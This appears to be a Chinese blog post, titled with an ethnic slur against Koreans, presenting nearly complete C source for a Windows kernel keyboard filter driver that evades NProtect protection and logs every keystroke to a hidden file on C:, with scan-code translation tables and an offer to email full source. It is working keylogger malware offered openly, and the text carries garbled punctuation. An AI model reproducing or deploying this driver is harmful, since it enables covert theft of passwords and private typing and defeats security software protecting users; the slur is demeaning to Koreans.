看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录

NProtect,是用驱动加载进入ring0级别,每个进程注入一个钩子,,

用键盘中断技术写的一个钩子,

本人就用驱动对付他,

废话少说,看代码,

//#include <ntddk.h>#include “kbhook.h”#include “ScanCode.h”#include <windef.h>int numPendingIrps=0;////ICTOL 以及控制设备的相关变量//#define IOCTL_PASSPROCESSID / CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)UNICODE_STRING devNameUnicd;UNICODE_STRING devLinkUnicd;PDEVICE_OBJECT pDevice; //控制设备的设备对象NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject ){KTIMER kTimer;LARGE_INTEGER timeout;PDEVICE_EXTENSION pKeyboradDeviceExtension;pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);timeout.QuadPart=1000000;//1sKeInitializeTimer(&kTimer);while(numPendingIrps > 0){KeSetTimer(&kTimer,timeout,NULL);KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);}pKeyboradDeviceExtension->bThreadTerminate=TRUE;KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,Executive,KernelMode,FALSE,NULL); //结束独立的记录线程ZwClose(pKeyboradDeviceExtension->hLogFile); //关闭文件句柄IoDeleteDevice(theDriverObject->DeviceObject); //删除设备对象IoDeleteSymbolicLink(&devLinkUnicd);IoDeleteDevice(pDevice);DbgPrint(“My Driver Unloaded!”);return;}NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath){

NTSTATUS status={0};int i;PDEVICE_EXTENSION pKeyboardDeviceExtension;IO_STATUS_BLOCK file_status;OBJECT_ATTRIBUTES obj_attrib;CCHAR ntNameFile[100]=”//DosDevices//c://kbhook.txt”;STRING ntNameString;UNICODE_STRING uFileName;for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)theDriverObject->MajorFunction[i] = DispatchPassDown;theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;HookKeyboard(theDriverObject);//建立一个线程用来记录键盘动作InitThreadKeyLogger(theDriverObject);/////////////////////////////////////////////////////////////////////////////////////////////////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////RtlInitAnsiString(&ntNameString,ntNameFile);RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);InitializeObjectAttributes(&obj_attrib,&uFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,GENERIC_WRITE,&obj_attrib,&file_status,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);RtlFreeUnicodeString(&uFileName);theDriverObject->DriverUnload=OnUnload;

//NTSTATUS Status; //PDEVICE_OBJECT pDevice; RtlInitUnicodeString(&devNameUnicd,L”//Device//PANZER3″); RtlInitUnicodeString(&devLinkUnicd,L”//??//PANZER3″); status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN, 0,FALSE,&pDevice); if(!NT_SUCCESS(status)) { DbgPrint((“Can not create device./n”)); return status; } status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd); if(!NT_SUCCESS(status)) { DbgPrint((“Can not create device.SymbolicLink/n”)); return status; } theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]= theDriverObject->MajorFunction[IRP_MJ_CREATE]= theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch; DbgPrint(“Create Control Driver ! address=%p = %x”, pDevice,pDevice);return STATUS_SUCCESS;}NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject){ ///IRQL = passive level//建立过滤驱动对象PDEVICE_EXTENSION pKeyboardDeviceExtension;PDEVICE_OBJECT pKeyboardDeviceObject;CCHAR ntNameBuffer[50]=”//Device//keyboardClass0″;STRING ntNameString;UNICODE_STRING uKeyboardDevice;NTSTATUS status=IoCreateDevice(theDriverObject,sizeof(DEVICE_EXTENSION),NULL,FILE_DEVICE_KEYBOARD, //★注意这里0,TRUE,&pKeyboardDeviceObject);if(!NT_SUCCESS(status))return status;/////////// 设置新设备的标志与地层键盘设备标记相同pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;//在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。//然而,如果创建了其它设备对象,则需要进行该清除工作。//对DEVICE_EXTENSION结构清0RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;/////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////RtlInitAnsiString(&ntNameString,ntNameBuffer);RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);//准备工作完成后放置过滤钩子IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,&pKeyboardDeviceExtension->pKeyboardDevice);RtlFreeUnicodeString(&uKeyboardDevice);return STATUS_SUCCESS;}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject){// IRQL = passive levelPDEVICE_EXTENSION pKeyboardDeviceExtension;HANDLE hThread;NTSTATUS status;pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;//////////////////////设置线程状态////////////////////////////////////pKeyboardDeviceExtension->bThreadTerminate=FALSE;////////////创建一个线程用来记录////////////////////////////////////////status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadKeyLogger,pKeyboardDeviceExtension);if(!NT_SUCCESS(status))return status;///////////////////////////转换保存指向线程对象的指针////////////////////////ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode,(PVOID*)&pKeyboardDeviceExtension->pThreadObject,NULL);ZwClose(hThread);return status;}NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp){ // IRQL = passive levelIoSkipCurrentIrpStackLocation(pIrp);return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);}NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp){// IRQL = DISPATCH_LEVELIoCopyCurrentIrpStackLocationToNext(pIrp);IoSetCompletionRoutine(pIrp,OnReadCompletion,theDeviceObject,TRUE,TRUE,TRUE);numPendingIrps++; //纪录挂起的irp数目return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);}NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context){// IRQL = DISPATCH_LEVELPKEYBOARD_INPUT_DATA keys;int numKeys;int i;KEY_DATA* kData;PDEVICE_EXTENSION pKeyboardDeviceExtension;pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;if(pIrp->IoStatus.Status==STATUS_SUCCESS){keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);for( i=0;i<numKeys;i++){if(keys[i].Flags==KEY_MAKE)DbgPrint(“%s/n”,”Key Down,IrpCallBack FUN”);kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));kData->KeyData=(char)keys[i].MakeCode;kData->KeyFlags=(char)keys[i].Flags;/////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,&kData->ListEntry,&pKeyboardDeviceExtension->lockQueue); //★注意同步KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);}}if(pIrp->PendingReturned)IoMarkIrpPending(pIrp);numPendingIrps–;return pIrp->IoStatus.Status;}VOID ThreadKeyLogger(IN PVOID pContext){// IRQL = passive levelPDEVICE_OBJECT pKeyboardDeviceObject;PDEVICE_EXTENSION pKeyboardDeviceExtension;PLIST_ENTRY pListEntry;KEY_DATA* kData;char keys[3]={0};pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;//等待信号量,若信号量递增,则继续运行处理循环while(TRUE){KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);//在链表中安全删除了最高顶端//pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,&pKeyboardDeviceExtension->lockQueue);if(pKeyboardDeviceExtension->bThreadTerminate==TRUE){PsTerminateSystemThread(STATUS_SUCCESS);}kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);ExFreePool(kData); //删除内存if(keys!=0){if(pKeyboardDeviceExtension->hLogFile!=NULL){IO_STATUS_BLOCK io_status;NTSTATUS status;status=ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,&io_status,&keys,strlen(keys),NULL,NULL);if(status!=STATUS_SUCCESS)DbgPrint(“write code to file fail!”);}}}return;}//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

////控制设备的IOControl函数//

NTSTATUS DeviceIoControlDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp){

PIO_STACK_LOCATION irpStack; NTSTATUS Status; PVOID InPutBuffer; ULONG ioControlCode; ULONG OutPutLen; PEPROCESS Process; ULONG IOPL = 1; HANDLE hProc; HANDLE *pBuff = NULL; Status=STATUS_SUCCESS; if(pDeviceObject != pDevice) { DbgPrint(“keyboard filter!”); IoSkipCurrentIrpStackLocation(pIrp);return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);} irpStack=IoGetCurrentIrpStackLocation(pIrp); ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode; switch(irpStack->MajorFunction) {case IRP_MJ_CREATE: DbgPrint(“Call IRP_MJ_CREATE/n”); break;case IRP_MJ_CLOSE: DbgPrint(“Call IRP_MJ_CLOSE/n”); break;case IRP_MJ_DEVICE_CONTROL: OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength; switch(ioControlCode) {case IOCTL_PASSPROCESSID:{ /*_asm { mov dx, 0x64 mov al, 0xFE out dx, al }*/ DbgPrint(“ioControlCode/n”);} break;default: break; } break;default: DbgPrint(“no match control/n”); break; } pIrp->IoStatus.Status = Status; pIrp->IoStatus.Information = 0; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return Status;}

#include “ntddk.h”

#include “ntddkbd.h”#include “kbhook.h”#include “ScanCode.h”

#define INVALID 0X00 //scan code not supported by this driver#define SPACE 0X01 //space bar#define ENTER 0X02 //enter key#define LSHIFT 0x03 //left shift key#define RSHIFT 0x04 //right shift key#define CTRL 0x05 //control key#define ALT 0x06 //alt key

char KeyMap[84] = {INVALID, //0INVALID, //1’1′, //2’2′, //3’3′, //4’4′, //5’5′, //6’6′, //7’7′, //8’8′, //9’9′, //A’0′, //B’-‘, //C’=’, //DINVALID, //EINVALID, //F’q’, //10’w’, //11’e’, //12’r’, //13’t’, //14’y’, //15’u’, //16’i’, //17’o’, //18’p’, //19′[‘, //1A’]’, //1BENTER, //1CCTRL, //1D’a’, //1E’s’, //1F’d’, //20’f’, //21’g’, //22’h’, //23’j’, //24’k’, //25’l’, //26′;’, //27’/”, //28’`’, //29LSHIFT,//2A’//’, //2B’z’, //2C’x’, //2D’c’, //2E’v’, //2F’b’, //30’n’, //31’m’ , //32′,’, //33′.’, //34’/’, //35RSHIFT, //36INVALID, //37ALT, //38SPACE, //39INVALID, //3AINVALID, //3BINVALID, //3CINVALID, //3DINVALID, //3EINVALID, //3FINVALID, //40INVALID, //41INVALID, //42INVALID, //43INVALID, //44INVALID, //45INVALID, //46’7′, //47’8′, //48’9′, //49INVALID, //4A’4′, //4B’5′, //4C’6′, //4DINVALID, //4E’1′, //4F’2′, //50’3′, //51’0′, //52};

int flag; //CAP STATUSchar ExtendedKeyMap[84] = {INVALID, //0INVALID, //1′!’, //2’@’, //3’#’, //4’$’, //5’%’, //6’^’, //7’&’, //8’*’, //9′(‘, //A’)’, //B’_’, //C’+’, //DINVALID, //EINVALID, //F’Q’, //10’W’, //11’E’, //12’R’, //13’T’, //14’Y’, //15’U’, //16’I’, //17’O’, //18’P’, //19′{‘, //1A’}’, //1BENTER, //1CINVALID, //1D’A’, //1E’S’, //1F’D’, //20’F’, //21’G’, //22’H’, //23’J’, //24’K’, //25’L’, //26′:’, //27′”‘, //28’~’, //29LSHIFT,//2A’|’, //2B’Z’, //2C’X’, //2D’C’, //2E’V’, //2F’B’, //30’N’, //31’M’ , //32′<‘, //33′>’, //34′?’, //35RSHIFT, //36INVALID, //37INVALID, //38SPACE, //39INVALID, //3AINVALID, //3BINVALID, //3CINVALID, //3DINVALID, //3EINVALID, //3FINVALID, //40INVALID, //41INVALID, //42INVALID, //43INVALID, //44INVALID, //45INVALID, //46’7′, //47’8′, //48’9′, //49INVALID, //4A’4′, //4B’5′, //4C’6′, //4DINVALID, //4E’1′, //4F’2′, //50’3′, //51’0′, //52};

VOID ConvertScanCodeToKeyCode(PDEVICE_EXTENSION pDevExt, KEY_DATA* kData, char* keys){char key = 0;PIRP irp;KEVENT event = {0};KEYBOARD_INDICATOR_PARAMETERS indParams = {0};IO_STATUS_BLOCK ioStatus = {0};NTSTATUS status = {0};key = KeyMap[kData->KeyData];KeInitializeEvent(&event, NotificationEvent, FALSE);irp = IoBuildDeviceIoControlRequest(IOCTL_KEYBOARD_QUERY_INDICATORS,pDevExt->pKeyboardDevice,NULL,0,&indParams,sizeof(KEYBOARD_ATTRIBUTES),TRUE,&event,&ioStatus);status = IoCallDriver(pDevExt->pKeyboardDevice, irp);if (status == STATUS_PENDING) {(VOID) KeWaitForSingleObject(&event,Suspended,KernelMode,FALSE,NULL);}status = irp->IoStatus.Status;if(status == STATUS_SUCCESS){indParams = *(PKEYBOARD_INDICATOR_PARAMETERS)irp->AssociatedIrp.SystemBuffer;if(irp){ flag = (indParams.LedFlags & KEYBOARD_CAPS_LOCK_ON);//DbgPrint(“Caps Lock Indicator Status: %x./n”,flag);}else{DbgPrint(“Error allocating Irp”);flag = 0;}}//end ifswitch(key){case LSHIFT:if(kData->KeyFlags == KEY_MAKE)pDevExt->kState.kSHIFT = TRUE;elsepDevExt->kState.kSHIFT = FALSE;break;case RSHIFT:if(kData->KeyFlags == KEY_MAKE)pDevExt->kState.kSHIFT = TRUE;elsepDevExt->kState.kSHIFT = FALSE;break;case CTRL:if(kData->KeyFlags == KEY_MAKE)pDevExt->kState.kCTRL = TRUE;elsepDevExt->kState.kCTRL = FALSE;break;case ALT:if(kData->KeyFlags == KEY_MAKE)pDevExt->kState.kALT = TRUE;elsepDevExt->kState.kALT = FALSE;break;case SPACE: if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK)) keys[0] = 0x20;break;case ENTER:if((pDevExt->kState.kALT != TRUE) && (kData->KeyFlags == KEY_BREAK)) { keys[0] = 0x0D; keys[1] = 0x0A;}//end ifbreak;default:if((pDevExt->kState.kALT != TRUE) && (pDevExt->kState.kCTRL != TRUE) && (kData->KeyFlags == KEY_BREAK)) //don’t convert if ALT or CTRL is pressed{if((key >= 0x21) && (key <= 0x7E)) //don’t convert non alpha numeric keys{if(pDevExt->kState.kSHIFT == TRUE)keys[0] = ExtendedKeyMap[kData->KeyData];else keys[0] = key;DbgPrint(“Caps %x.ScanCode: %s”,flag,keys);}//end if}//end ifbreak;}//end switch(keys)}//end ConvertScanCodeToKeyCode

需要源码的请留下Email,,本人纯属技术爱好,用于非法的,后果自负。

如果你在以的话,别人就会知道你害怕被说,他们就会加倍地说你,

看棒子不顺眼,破解NProtect,键盘驱动级截取键盘记录

相关文章:

你感兴趣的文章:

标签云: